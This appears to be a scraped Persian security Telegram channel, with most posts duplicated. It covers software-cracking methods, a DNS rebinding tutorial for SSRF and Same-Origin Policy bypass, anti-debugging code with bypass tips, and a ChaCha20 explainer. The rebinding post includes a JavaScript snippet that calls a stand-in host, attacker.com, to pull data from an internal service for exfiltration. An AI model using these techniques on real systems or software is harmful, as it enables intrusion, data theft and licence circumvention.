کرک کردن نرمافزار یعنی دور زدن یا غیرفعال کردن مکانیزمهای امنیتی یک نرمافزار برای استفاده بدون مجوز، روشهای کرک کردن نرمافزار شامل موارد زیر میشه:
1 پچ کردن (Patching)
در این روش، فایلهای اجرایی نرمافزار (مثل .exe یا .dll) دستکاری میشن تا مکانیزمهای امنیتی مثل بررسی سریال یا لایسنس دور زده بشن معمولاً با ابزارهایی مثل OllyDbg، x64dbg یا IDA Pro انجام میشه
2 کیجن (Keygen)
کیجن (Key Generator) نرمافزاری است که یک سریال معتبر برای فعالسازی برنامه تولید میکنه معمولاً با تحلیل الگوریتم تولید کلید در نرمافزار اصلی ساخته میشه
3 سریال جعلی (Fake Serial)
بعضی از برنامهها بهصورت ساده یک سریال مشخص رو قبول میکنن کرکرها این سریال رو پیدا کرده و منتشر میکنن
4 امولیتور Dongle
بعضی نرمافزارها برای اجرا به یک دانگل سختافزاری نیاز دارن کرکرها دانگل رو با نرمافزار شبیهسازی (emulator) جایگزین میکنند تا نرمافزار فکر کند دانگل متصله
5 مهندسی معکوس (Reverse Engineering)
در این روش، سورسکد باینری برنامه بررسی و تحلیل میشه تا مکانیزم امنیتی اون شناسایی و دور زده شه
6 تغییرات رجیستری Registry changes
بعضی از نرمافزارها اطلاعات لایسنس رو در رجیستری ویندوز ذخیره میکنن با تغییر کلیدهای رجیستری میتونیم اون ها رو فعال کتیم
7 دور زدن سرور تایید لایسنس (License Server Bypass)
در این روش، ارتباط نرمافزار با سرور لایسنس مسدود شده یا به یک سرور جعلی هدایت میشه که پاسخهای معتبر ارسال میکننه
8 دیکامپایل و اصلاح سورس کد
در برخی زبانهای سطح بالا (مثل جاوا، پایتون، C#)، باینریهای برنامه رو میتونیم دیکامپایل کنیم و مستقیما کد را تغییر بدیم
9 مانیتورینگ API
کرکرها با ابزارهایی مثل API Monitor یا Process Hacker درخواستهای نرمافزار را بررسی میکنن تا بخشهایی که لایسنس رو بررسی میکند شناسایی و دستکاری کنن
10 حملات Brute Force
در برخی موارد که نرمافزار از مکانیزمهای سادهای برای اعتبارسنجی استفاده میکنه میتونیم با امتحان کردن ترکیبهای مختلف، رمز عبور یا سریال صحیح رو پیدا کنیم
1 پچ کردن (Patching)
در این روش، فایلهای اجرایی نرمافزار (مثل .exe یا .dll) دستکاری میشن تا مکانیزمهای امنیتی مثل بررسی سریال یا لایسنس دور زده بشن معمولاً با ابزارهایی مثل OllyDbg، x64dbg یا IDA Pro انجام میشه
2 کیجن (Keygen)
کیجن (Key Generator) نرمافزاری است که یک سریال معتبر برای فعالسازی برنامه تولید میکنه معمولاً با تحلیل الگوریتم تولید کلید در نرمافزار اصلی ساخته میشه
3 سریال جعلی (Fake Serial)
بعضی از برنامهها بهصورت ساده یک سریال مشخص رو قبول میکنن کرکرها این سریال رو پیدا کرده و منتشر میکنن
4 امولیتور Dongle
بعضی نرمافزارها برای اجرا به یک دانگل سختافزاری نیاز دارن کرکرها دانگل رو با نرمافزار شبیهسازی (emulator) جایگزین میکنند تا نرمافزار فکر کند دانگل متصله
5 مهندسی معکوس (Reverse Engineering)
در این روش، سورسکد باینری برنامه بررسی و تحلیل میشه تا مکانیزم امنیتی اون شناسایی و دور زده شه
6 تغییرات رجیستری Registry changes
بعضی از نرمافزارها اطلاعات لایسنس رو در رجیستری ویندوز ذخیره میکنن با تغییر کلیدهای رجیستری میتونیم اون ها رو فعال کتیم
7 دور زدن سرور تایید لایسنس (License Server Bypass)
در این روش، ارتباط نرمافزار با سرور لایسنس مسدود شده یا به یک سرور جعلی هدایت میشه که پاسخهای معتبر ارسال میکننه
8 دیکامپایل و اصلاح سورس کد
در برخی زبانهای سطح بالا (مثل جاوا، پایتون، C#)، باینریهای برنامه رو میتونیم دیکامپایل کنیم و مستقیما کد را تغییر بدیم
9 مانیتورینگ API
کرکرها با ابزارهایی مثل API Monitor یا Process Hacker درخواستهای نرمافزار را بررسی میکنن تا بخشهایی که لایسنس رو بررسی میکند شناسایی و دستکاری کنن
10 حملات Brute Force
در برخی موارد که نرمافزار از مکانیزمهای سادهای برای اعتبارسنجی استفاده میکنه میتونیم با امتحان کردن ترکیبهای مختلف، رمز عبور یا سریال صحیح رو پیدا کنیم
👍2
This media is not supported in your browser
VIEW IN TELEGRAM
ویروس کامپیوتری پوزست
3/3
مقایسه تکنیکال: Static Linking vs Dynamic Linking
- ویندوز (غالباً Static/خودمحور): برنامهها ترجیح میدن تا حد امکان از کتابخونههای اختصاصی یا Static-Linked استفاده کنن تا Dependencyها رو به حداقل برسونن. نتیجه؟ حجم بالای فایلهای EXE و نصبِ تکراری کتابخونهها (مثل چندین نسخه از VC++ Redistributable).
- لینوکس (غالباً Dynamic/متمرکز): پکیجها به کتابخونههای داینامیک وابسته میشن که فقط یک بار نصب میشن و بین همه برنامهها به اشتراک گذاشته میشن. حجم نهایی سیستم کمتر میشه و آپدیت امنیتی یک کتابخونه، همه برنامههای وابسته رو تحت پوشش قرار میده.
آمار و فکتهای کلیدی:
- توی ویندوز ۱۰، بیش از ۱۵ نسخه مختلف از Visual C++ Redistributable ممکنه نصب باشه که هر کدوم بین ۲۰MB تا ۱۰۰MB فضا اشغال میکنن.
- توی لینوکس، پکیج libc6 (کتابخونه استاندارد سی) فقط یک بار نصب میشه و بیش از ۸۵٪ از پکیجهای موجود در ریپازیتوریهای معتبر بهش وابستهان. حجم این پکیج حدود ۴MB هستش.
- بر اساس مستندات فنی، سیستمهای مدیریت پکیج لینوکس از الگوریتمهای پیشرفته برای Dependency Resolution استفاده میکنن تا ناسازگاری نسخهها رو حذف کنن.
نکته فنی: مکانیزم کش (Cache) پکیج منیجرها در دایرکتوریهای خاصی (مثل /var/lib/apt/lists یا /var/cache/dnf) لیستی از تمام پکیجها و وابستگیهاشون رو نگه میداره. وقتی دستور آپدیت میدی، این کش با ریپازیتوری همگامسازی میشه و Dependencyها روی آخرین نسخهها چک میشن. توی ویندوز، چنین سیستمی به صورت مرکزی وجود نداره و هر برنامه جداگانه چک میکنه آپدیت جدیدی واسه DLLهای خاص خودش هست یا نه.
مسئله Checksum و امنیت:
پکیج منیجرهای لینوکس به صورت پیشفرض از الگوریتمهای هشینگ مثل SHA-256 برای تأیید یکپارچگی پکیجها استفاده میکنن. هر پکیج قبل از نصب، بررسی میشه تا مطمئن شه با نسخه موجود در ریپازیتوری مطابقت داره. توی ویندوز، اگرچه امضای دیجیتال برای فایلهای اجرایی وجود داره، اما هیچ سیستم متمرکزی برای بررسی یکپارچگی DLLهای سیستمی تعریف نشده.
مقایسه تکنیکال: Static Linking vs Dynamic Linking
- ویندوز (غالباً Static/خودمحور): برنامهها ترجیح میدن تا حد امکان از کتابخونههای اختصاصی یا Static-Linked استفاده کنن تا Dependencyها رو به حداقل برسونن. نتیجه؟ حجم بالای فایلهای EXE و نصبِ تکراری کتابخونهها (مثل چندین نسخه از VC++ Redistributable).
- لینوکس (غالباً Dynamic/متمرکز): پکیجها به کتابخونههای داینامیک وابسته میشن که فقط یک بار نصب میشن و بین همه برنامهها به اشتراک گذاشته میشن. حجم نهایی سیستم کمتر میشه و آپدیت امنیتی یک کتابخونه، همه برنامههای وابسته رو تحت پوشش قرار میده.
آمار و فکتهای کلیدی:
- توی ویندوز ۱۰، بیش از ۱۵ نسخه مختلف از Visual C++ Redistributable ممکنه نصب باشه که هر کدوم بین ۲۰MB تا ۱۰۰MB فضا اشغال میکنن.
- توی لینوکس، پکیج libc6 (کتابخونه استاندارد سی) فقط یک بار نصب میشه و بیش از ۸۵٪ از پکیجهای موجود در ریپازیتوریهای معتبر بهش وابستهان. حجم این پکیج حدود ۴MB هستش.
- بر اساس مستندات فنی، سیستمهای مدیریت پکیج لینوکس از الگوریتمهای پیشرفته برای Dependency Resolution استفاده میکنن تا ناسازگاری نسخهها رو حذف کنن.
نکته فنی: مکانیزم کش (Cache) پکیج منیجرها در دایرکتوریهای خاصی (مثل /var/lib/apt/lists یا /var/cache/dnf) لیستی از تمام پکیجها و وابستگیهاشون رو نگه میداره. وقتی دستور آپدیت میدی، این کش با ریپازیتوری همگامسازی میشه و Dependencyها روی آخرین نسخهها چک میشن. توی ویندوز، چنین سیستمی به صورت مرکزی وجود نداره و هر برنامه جداگانه چک میکنه آپدیت جدیدی واسه DLLهای خاص خودش هست یا نه.
مسئله Checksum و امنیت:
پکیج منیجرهای لینوکس به صورت پیشفرض از الگوریتمهای هشینگ مثل SHA-256 برای تأیید یکپارچگی پکیجها استفاده میکنن. هر پکیج قبل از نصب، بررسی میشه تا مطمئن شه با نسخه موجود در ریپازیتوری مطابقت داره. توی ویندوز، اگرچه امضای دیجیتال برای فایلهای اجرایی وجود داره، اما هیچ سیستم متمرکزی برای بررسی یکپارچگی DLLهای سیستمی تعریف نشده.
با سلام و وقت بخیر آکادمی راوین شعبه استان خوزستان جهت تکمیل کادر خود قصد دارد از ظرفیت های بومی استان برای جذب در آکادمی استفاده کنند چنانچه که دوستانی هستند که در حوزه های امنیت سایبری سابقه کار دارند و یا در حال اموزش هستند جهت استعداد سنجی و تکمیل کادر اموزشی به ایدی بنده که در بیو چنل قرار داده شده پیام داده و رزومه خودشان را برای بنده ارسال کنند تا بررسی های لازم انجام شود.
آسیب پذیری DNS Rebinding =
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗️مراحل DNS rebinding برای بایپس SSRF :
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
#DNS_Rebinding
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده میشه.
2. هر DNS response که دریافت میکنیم یک TTL داره که بر حسب ثانیه کار میکنه و مقدار زمانی که داخلش تعریف شده تو سیستم ما cache میشه. مثلا اگه سایت google.com رو باز کنیم و TTL 100 رو داشته باشه، IP این سایت که تو فرایند name resolution به دست اومده تا 100 ثانیه تو سیستم ما ذخیره میشه.
3. مفهوم Same Origin Policy و SSRF رو تو پست های قبلی توضیح دادم که پیشنهاد میکنم مرورشون کنین.
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
1. استفاده از blacklist IP ها، یعنی لیستی از آیپی های داخلی رو به عنوان blacklist تعریف کنیم.
2. اول روی ورودی کاربر DNS resolution انجام بدیم و روی آیپی آن blacklist check رو انجام بدیم. برای مثال هکر یه دامنه بالا میاره به اسم dns.attacker.com که به آیپی 127.0.0.1 اشاره میکنه. با این روش جلوش گرفته میشه.
اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗️مراحل DNS rebinding برای بایپس SSRF :
1. هکر یه دامنه بالا میاره به اسم attacker.com که به 2 تا آیپی resolve میشه، اولی آیپی سرور خودش و دومی آیپی لوکالی که قصد داره بهش درخواست بزنه. TTL رو هم خیلی کم ست میکنه.
2. به عنوان ورودی attacker.com رو به تارگت میده و تابع میاد بررسی میکنه میبینه که آیپیش local نیست و ازش عبور میکنه.
3. قبل از اینکه کد برنامه برسه به جایی که درخواست HTTP رو ارسال میکنه، زمان cache یا همون TTL بخاطر پایین بودن تموم میشه و تابعی که آسیب پذیره به SSRF مجبور میشه درخواست name resolution ارسال کنه برای attacker.com تا آیپی رو به دست بیاره و این دفعه attacker.com به یه آیپی local اشاره میکنه.
4. درخواست HTTP به آیپی local ارسال میشه.
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
https://lock.cmpxchg8b.com/rebinder.html
#DNS_Rebinding
🧑💻Cyber.vision🧑💻
آسیب پذیری DNS Rebinding = قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم: 1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده…
2️⃣ استفاده از DNS Rebinding برای بایپس SOP :
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗️فلوی بایپس SOP با DNS Rebinding :
کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
❗️چند تا نکته مهم :
⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
#DNS_Rebinding
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗️فلوی بایپس SOP با DNS Rebinding :
1. هکر دامنه attacker.com رو بالا میاره که همچنان دوتا IP داره یکی به سرور هکر اشاره میکنه که داخلش کدهای مخرب JavaScript قرار داره و یکی هم به IP داخلی ای اشاره میکنه که قربانی روی اون آیپی تو شبکه داخلیش یه web application داره. و همچنین TTL هم کم در نظر گرفته میشه.
2. هکر آدرس دامنه رو به قربانی میده و بعد از name resolution قربانی برای آیپی سرور مخرب درخواست ارسال میکنه و کدهای JavaScript روی مرورگرش لود میشه.
function attemptRequest() {
const xhr = new XMLHttpRequest();
xhr.open('GET', `http://attacker.com/sensitive_information_path`, true);
xhr.onload = function () {
console.log('Response:', xhr.responseText);
};
xhr.onerror = function () {
console.log('Request failed');
};
xhr.send();
}
setTimeout(attemptRequest, 5000);
کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
sensitive_information_path
به 192.168.1.20 ارسال میکنه که حاوی اطلاعات حیاتی این سرویس هست و هکر میتونه این اطلاعات رو با XHR برای سرور خودش ارسال کنه. اگه DNS rebinding با موفقیت انجام بشه دیگه cross origin نیستیم و same origin هستیم.❗️چند تا نکته مهم :
1. هکر میدونست چه سرویسی روی شبکه داخلی قربانی نصب هست. و بخاطر همین میدونست endpoint حساسش چیه.
2. باید دامنه هکر رو دقیقا به همون آیپی که روی آن web application نصب شده resolve کنیم.
3. اگه وب اپلیکیشن داخلی روی پورت خاصی هست، ماهم باید به اون پورت درخواست ارسال کنیم.
⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
1. وقتی authentication نیاز باشه.
2. وقتی روی 192.168.1.20 SSL/TLS وجود داشته باشه.(بخاطر مچ نشدن certificate جلوی حمله گرفته میشه)
#DNS_Rebinding
ChaCha20 or Salsa20
یک الگوریتم رمزنگاریه که برای امنیت بالا و سرعت زیاد طراحی شده باهاش میشه دادهها رو رمزگذاری کرد تا کسی بدون کلید نتونه بخونه این الگوریتم جایگزین خوبی برای AES هست مخصوصاً توی موبایلها و پردازندههایی که سختافزار مخصوص رمزنگاری ندارن
چطوری کار میکنه؟
ChaCha20 یه جور رمزنگاری جریانیه، یعنی دادهها رو دونهدونه رمز میکنه نه بهصورت بلوکهای بزرگ
ورودیهاش چیه؟
یه کلید 256 بیتی همون رمز اصلی
یه مقدار تصادفی Nonce برای جلوگیری از تکراری شدن رمزها
یه شمارنده که توی هر بلاک تغییر میکنه
چی کار میکنه؟
چند تا عملیات ریاضی ساده مثل جمع XOR و چرخش بیتی روی دادهها انجام میده
این عملیات 20 بار تکرار میشه تا یه سری اعداد تصادفی قوی تولید کنه
این اعداد با متن اصلی ترکیب میشن و دادهی رمزگذاریشده تولید میشه
چرا از ChaCha20 استفاده کنیم؟
سریعتره چون نیاز به محاسبات پیچیدهی AES نداره
امنیت بالایی داره و در برابر حملات رمزنگاری مقاومه
روی موبایل و دستگاههای کمقدرت بهتر کار میکنه، چون نیاز به سختافزار خاصی نداره
در برابر حملات جانبی مثل حملات کش CPU امن تره
کجاها ازش استفاده میشه؟
توی HTTPS امن کردن اینترنت
توی WireGuard VPN برای اتصال امن
توی OpenSSH برای ارتباطات رمزگذاریشده
توی Google QUIC که اینترنت رو سریعتر و امنتر میکنه
یک الگوریتم رمزنگاریه که برای امنیت بالا و سرعت زیاد طراحی شده باهاش میشه دادهها رو رمزگذاری کرد تا کسی بدون کلید نتونه بخونه این الگوریتم جایگزین خوبی برای AES هست مخصوصاً توی موبایلها و پردازندههایی که سختافزار مخصوص رمزنگاری ندارن
چطوری کار میکنه؟
ChaCha20 یه جور رمزنگاری جریانیه، یعنی دادهها رو دونهدونه رمز میکنه نه بهصورت بلوکهای بزرگ
ورودیهاش چیه؟
یه کلید 256 بیتی همون رمز اصلی
یه مقدار تصادفی Nonce برای جلوگیری از تکراری شدن رمزها
یه شمارنده که توی هر بلاک تغییر میکنه
چی کار میکنه؟
چند تا عملیات ریاضی ساده مثل جمع XOR و چرخش بیتی روی دادهها انجام میده
این عملیات 20 بار تکرار میشه تا یه سری اعداد تصادفی قوی تولید کنه
این اعداد با متن اصلی ترکیب میشن و دادهی رمزگذاریشده تولید میشه
چرا از ChaCha20 استفاده کنیم؟
سریعتره چون نیاز به محاسبات پیچیدهی AES نداره
امنیت بالایی داره و در برابر حملات رمزنگاری مقاومه
روی موبایل و دستگاههای کمقدرت بهتر کار میکنه، چون نیاز به سختافزار خاصی نداره
در برابر حملات جانبی مثل حملات کش CPU امن تره
کجاها ازش استفاده میشه؟
توی HTTPS امن کردن اینترنت
توی WireGuard VPN برای اتصال امن
توی OpenSSH برای ارتباطات رمزگذاریشده
توی Google QUIC که اینترنت رو سریعتر و امنتر میکنه
❤1
تکنیکهای ضد دیباگ و ضد مهندسی معکوس در نرمافزارها
حالا که ساختار فایلهای اجرایی (PE, ELF, Mach-O) رو شناختید باید بدونید که چطور توسعهدهندهها از مهندسی معکوس جلوگیری میکنن توی این بخش میریم سراغ مکانیزمهای ضد دیباگ و ضد مهندسی معکوس که توی نرمافزارهای مختلف استفاده میشن
1 چرا نرمافزارها از ضد دیباگ استفاده میکنن؟
تکنیکهای ضد دیباگ (Anti-Debugging) و ضد مهندسی معکوس (Anti-Reversing)
معمولا برای این کارها استفاده میشن:
✅ جلوگیری از کرک شدن نرمافزار
✅ سختتر کردن تحلیل بدافزارها
✅ محافظت از الگوریتمهای حساس و لایسنس نرمافزار
✅ جلوگیری از دستکاری و مهندسی معکوس
برنامههایی مثل بازیها نرمافزارهای امنیتی DRM و بدافزارها از این تکنیکها زیاد استفاده میکنن
2 روشهای تشخیص دیباگر در ویندوز (Anti-Debugging در PE)
ویندوز یه سری API داره که برنامهها با استفاده از اونها میتونن بفهمن که آیا تحت دیباگ هستن یا نه
📌 مهمترین روشها :
IsDebuggerPresent()
این تابع از kernel32.dll چک میکنه که برنامه داره تحت دیباگ اجرا میشه یا نه
#include <windows.h>
#include <iostream>
int main() {
if (IsDebuggerPresent()) {
std::cout << "Debugger detected!" << std::endl;
return 1;
}
std::cout << "No debugger detected." << std::endl;
return 0;
}
🔹 چطور بایپسش کنیم؟
🔹 مقدار PEB->BeingDebugged رو توی دیباگر تغییر بدیم.
CheckRemoteDebuggerPresent()
این API چک میکنه که یه دیباگر خارجی مثل x64dbg به پروسه وصل شده یا نه
BOOL IsDebuggerAttached() {
BOOL isDebugger = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugger);
return isDebugger;
}
برای بایپس کردن این تابع میتونیم مقدار برگشتی رو تغییر بدیم
NtQueryInformationProcess()
این تابع از ntdll.dll اطلاعاتی در مورد پروسه میگیره، از جمله اینکه آیا دیباگ میشه یا نه
#include <windows.h>
#include <winternl.h>
#include <iostream>
typedef NTSTATUS(WINAPI* pNtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);
int main() {
pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
DWORD isDebuggerPresent = 0;
NtQIP(GetCurrentProcess(), 0x07, &isDebuggerPresent, sizeof(DWORD), NULL);
if (isDebuggerPresent) {
std::cout << "Debugger detected!" << std::endl;
return 1;
}
std::cout << "No debugger detected." << std::endl;
return 0;
این روش رو میتونیم با تغییر مقدار ProcessDebugPort در رجیسترها دور بزنیم.
3 روشهای ضد دیباگ در لینوکس (ELF Anti-Debugging)
توی لینوکس، برنامهها میتونن با استفاده از ptrace() تشخیص بدن که تحت دیباگ هستن
استفاده از ptrace() برای جلوگیری از دیباگ
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void anti_debug() {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) {
printf("Debugger detected!\n");
exit(1);
}
}
int main() {
anti_debug();
printf("Program is running normally.\n");
return 0;
}
برای بایپس این روش، میتونیم با gdb مقدار برگشتی ptrace() رو تغییر بدیم
4 روشهای ضد دیباگ در macOS (Mach-O Anti-Debugging)
توی macOS، روشهای مشابه لینوکس استفاده میشه ولی از sysctl() هم میشه برای تشخیص دیباگر استفاده کرد:
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
int is_debugger_attached() {
int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, getpid()};
struct kinfo_proc info;
size_t size = sizeof(info);
sysctl(mib, 4, &info, &size, NULL, 0);
return (info.kp_proc.p_flag & P_TRACED) != 0;
}
int main() {
if (is_debugger_attached()) {
printf("Debugger detected!\n");
return 1;
}
printf("No debugger detected.\n");
return 0;
}
برای بایپس، میتونیم مقدار p_flag رو تغییر بدیم
5 تکنیکهای پیشرفته ضد مهندسی معکوس
بعضی برنامهها از روشهای پیچیدهتری برای جلوگیری از تحلیل شدن استفاده میکنن
مهمترین تکنیکها:
بدافزارهای حرفهای مثل Zeus و TrickBot از این تکنیکها استفاده میکنن
6 ابزارهای دور زدن ضد دیباگ
🔹 Windows: ScyllaHide, x64dbg, Cheat Engine
🔹 Linux: GDB, ptrace hooks, Frida
🔹 macOS: LLDB, Hopper, Frida
حالا که ساختار فایلهای اجرایی (PE, ELF, Mach-O) رو شناختید باید بدونید که چطور توسعهدهندهها از مهندسی معکوس جلوگیری میکنن توی این بخش میریم سراغ مکانیزمهای ضد دیباگ و ضد مهندسی معکوس که توی نرمافزارهای مختلف استفاده میشن
1 چرا نرمافزارها از ضد دیباگ استفاده میکنن؟
تکنیکهای ضد دیباگ (Anti-Debugging) و ضد مهندسی معکوس (Anti-Reversing)
معمولا برای این کارها استفاده میشن:
✅ جلوگیری از کرک شدن نرمافزار
✅ سختتر کردن تحلیل بدافزارها
✅ محافظت از الگوریتمهای حساس و لایسنس نرمافزار
✅ جلوگیری از دستکاری و مهندسی معکوس
برنامههایی مثل بازیها نرمافزارهای امنیتی DRM و بدافزارها از این تکنیکها زیاد استفاده میکنن
2 روشهای تشخیص دیباگر در ویندوز (Anti-Debugging در PE)
ویندوز یه سری API داره که برنامهها با استفاده از اونها میتونن بفهمن که آیا تحت دیباگ هستن یا نه
📌 مهمترین روشها :
IsDebuggerPresent()
این تابع از kernel32.dll چک میکنه که برنامه داره تحت دیباگ اجرا میشه یا نه
#include <windows.h>
#include <iostream>
int main() {
if (IsDebuggerPresent()) {
std::cout << "Debugger detected!" << std::endl;
return 1;
}
std::cout << "No debugger detected." << std::endl;
return 0;
}
🔹 چطور بایپسش کنیم؟
🔹 مقدار PEB->BeingDebugged رو توی دیباگر تغییر بدیم.
CheckRemoteDebuggerPresent()
این API چک میکنه که یه دیباگر خارجی مثل x64dbg به پروسه وصل شده یا نه
BOOL IsDebuggerAttached() {
BOOL isDebugger = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugger);
return isDebugger;
}
برای بایپس کردن این تابع میتونیم مقدار برگشتی رو تغییر بدیم
NtQueryInformationProcess()
این تابع از ntdll.dll اطلاعاتی در مورد پروسه میگیره، از جمله اینکه آیا دیباگ میشه یا نه
#include <windows.h>
#include <winternl.h>
#include <iostream>
typedef NTSTATUS(WINAPI* pNtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);
int main() {
pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
DWORD isDebuggerPresent = 0;
NtQIP(GetCurrentProcess(), 0x07, &isDebuggerPresent, sizeof(DWORD), NULL);
if (isDebuggerPresent) {
std::cout << "Debugger detected!" << std::endl;
return 1;
}
std::cout << "No debugger detected." << std::endl;
return 0;
این روش رو میتونیم با تغییر مقدار ProcessDebugPort در رجیسترها دور بزنیم.
3 روشهای ضد دیباگ در لینوکس (ELF Anti-Debugging)
توی لینوکس، برنامهها میتونن با استفاده از ptrace() تشخیص بدن که تحت دیباگ هستن
استفاده از ptrace() برای جلوگیری از دیباگ
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void anti_debug() {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) {
printf("Debugger detected!\n");
exit(1);
}
}
int main() {
anti_debug();
printf("Program is running normally.\n");
return 0;
}
برای بایپس این روش، میتونیم با gdb مقدار برگشتی ptrace() رو تغییر بدیم
4 روشهای ضد دیباگ در macOS (Mach-O Anti-Debugging)
توی macOS، روشهای مشابه لینوکس استفاده میشه ولی از sysctl() هم میشه برای تشخیص دیباگر استفاده کرد:
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
int is_debugger_attached() {
int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, getpid()};
struct kinfo_proc info;
size_t size = sizeof(info);
sysctl(mib, 4, &info, &size, NULL, 0);
return (info.kp_proc.p_flag & P_TRACED) != 0;
}
int main() {
if (is_debugger_attached()) {
printf("Debugger detected!\n");
return 1;
}
printf("No debugger detected.\n");
return 0;
}
برای بایپس، میتونیم مقدار p_flag رو تغییر بدیم
5 تکنیکهای پیشرفته ضد مهندسی معکوس
بعضی برنامهها از روشهای پیچیدهتری برای جلوگیری از تحلیل شدن استفاده میکنن
مهمترین تکنیکها:
بدافزارهای حرفهای مثل Zeus و TrickBot از این تکنیکها استفاده میکنن
6 ابزارهای دور زدن ضد دیباگ
🔹 Windows: ScyllaHide, x64dbg, Cheat Engine
🔹 Linux: GDB, ptrace hooks, Frida
🔹 macOS: LLDB, Hopper, Frida
سلام دوستان وقتتون بخیر این موزیک یک کار طنز و جنبه فان داره توی حوزه هک و امنیت
گفتم که لای این همه دغدغه های فکری حالتون خوب کنم سال جدیدو پیشا پیش تبریک میگم بهتون😘❤️
https://barnamenevisimoonnashe.ir/podcast/%D8%A8%D8%B2%D9%86%D9%85-%D8%B3%D8%A7%DB%8C%D8%AA-%D8%AF%D8%B1-%D8%A8%DB%8C%D8%A7%D8%AF/
گفتم که لای این همه دغدغه های فکری حالتون خوب کنم سال جدیدو پیشا پیش تبریک میگم بهتون😘❤️
